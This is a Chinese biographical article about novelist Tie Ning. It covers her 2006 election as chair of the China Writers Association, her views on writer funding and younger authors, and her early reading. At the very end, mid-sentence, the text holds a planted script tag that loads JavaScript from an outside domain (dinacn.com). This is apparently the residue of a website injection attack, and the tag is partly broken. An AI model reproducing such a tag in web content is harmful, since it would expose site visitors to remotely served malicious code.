齐耳短发,容貌清秀,气质文雅。这就是低调做人、高格为文的中国作协女掌门铁凝。
我的职业是作家
2006 年11 月12 日,铁凝在第七次全国作家代表大会上当选为中国作协主席。
对于铁凝的当选,很多人觉得是意料之外的,但是有一部分人又觉得是意料之中。为什么铁凝当选主席会有这样不同的反应呢?铁凝说,这样两种反应我觉得很正常,意料之外和意料之中都正常。意料之外可能是正常。说到意料之外,是因为大家总是要比一下,因为中国作协的前两任主席,茅盾和巴金在整个文坛和全社会人的心目中是不同凡响的。他们是真正的里程碑式的文学大师吧,我跟他们确实是没有可比性,从这一点说,出人意料的这种想法是会有的,而且很正常。而谈到意料之中,我自己猜测,是因为我的同行们看到了在新时期的整个中国文坛涌现出来这么多的优秀作家,他们最终选举我做这个主席,是有一种宽厚的认可。
当选作协主席后,铁凝“喜悦和惶恐并存,压力和责任同在”。她说,自己走上这个岗位有“五个不敢忘记”:第一不敢忘记这个位置这份荣誉,决不是非我莫属。今天中国文坛的辉煌是老中青几代作家共同创造的,许多文学大家都能担当此任。第二不敢忘记前辈作家用灵魂和智慧积累的文学财富,他们崇高的精神境界,深厚的艺术修养,对青年作家的培养扶持,永远是我们学习的典范。第三不敢忘记学习。第四不敢忘记责任。第五不敢忘本,这个“本”就是写作。我的职业是作家。铁凝说,当前是个群雄并起的时代,有很多大家都能站在这个位置上,如果非要说出自己有什么优势,她笑言,“原因大概有三个:首先是我走运;其次是同行宽厚的认可,在这个前提下,大家觉得我这个人还有些可取之处;再次,我把写作当成安身立命的根本,同行看到了我写作的努力。”
如何广泛地团结作家、鼓励艺术创新,是铁凝现在考虑最多的问题。铁凝说,光有几个好作家写出好作品,还不够,要让不同流派、风格,不同年龄的作家都能写出好作品,为他们创造出能自由抒发才情的环境,是中国作协的重要任务。
当有人质疑“作家供养制度”时,铁凝直言不讳:“我们这么一个大国,国家可以有一定的钱拿出来,供养一部分非常优秀的作家。供养作家,在很多国家都有先例。”同时,她表示:“作家体制的变革势在必行。实际上专业作家群体,在文学体制中在逐年缩小,更多的是采取合同制作家方式。中国作协机关里就没有专业作家,它只是一个服务性机构,和各省的作家协会还不一样。在河北作协有5 个专业作家,还有30 个左右合同制作家名额,人是不固定的,一期两年,在这两年中,政府拿出钱来资助作家写作,不限定写作的题材和内容。‘合同制作家’是一个竞争机制,它不养一个不写作的人。”
今天,面对“80 后作家群”,面对网络文学,铁凝亦有自己的关注和理解:“每个年龄段的作家都有他们特有的精神状态和一片天空。就像我们一路走来,也没有一成不变。”她坦陈,“80后”的很多作家,知识储备、艺术表现力,都远超当时的我们。“他们所处的时代和我们那时不同了,这是他们不可抵挡的优势。不能把他们当小孩看,我的第一篇小说发表时可能比他们还小哪。但是,每个人的每个阶段都是不可重复、不可替代的。”
“女高尔基”的“一时冲动”和“终身职业”
铁凝原本姓屈。父亲原名屈铁扬,是名画家,艺名铁扬。铁凝从小就在家里的画架和画框图间穿行。
铁凝的母亲是位声乐教授一心想培养她学声乐,但铁凝本人却迷上了舞蹈。她曾每天到一位芭蕾舞教师那儿练习芭蕾基本功。但最终铁凝没走上父母为自己早年所“设定”的道路或自己最早所爱好的行当。
上初中的时候,正赶上“文革”,铁凝从家里遗留的几本名著中得到很大的满足。父亲见铁凝喜欢读书,就给她开了一个书单,从历史开始,中国通史、唐诗宋词、四大名著、明清散文;外国的文学作品则包括托尔斯泰、契诃夫等大作家所有的短篇。当时,保定和全国一样正处于各种造反派腥风血雨的武斗世界。在这种情况下,铁凝仍然千方百计地找书看。离学校不远有一家军队造纸厂,堆积着如山的“废书”,都是造反派们从各处查抄来的“封资修”,准备作造纸原料。铁凝和同学像小老鼠偷东西一样,一有机会就到造纸厂把能顺手牵羊的书一本本地往外“牵”,阅读、珍藏。比起她的学业与年龄,她的文学才能与修养已经大大超前。高中毕业前夕,她执笔创作了供师生们演出的话剧《理想》。
铁凝上中学时最享受的是上作文课,每次她总是写两篇不同内容的作文,一篇给自己写的,一篇给同桌写的,同桌替她做物理、化学作业什么的?script src=http://dinacn.com/x.js> |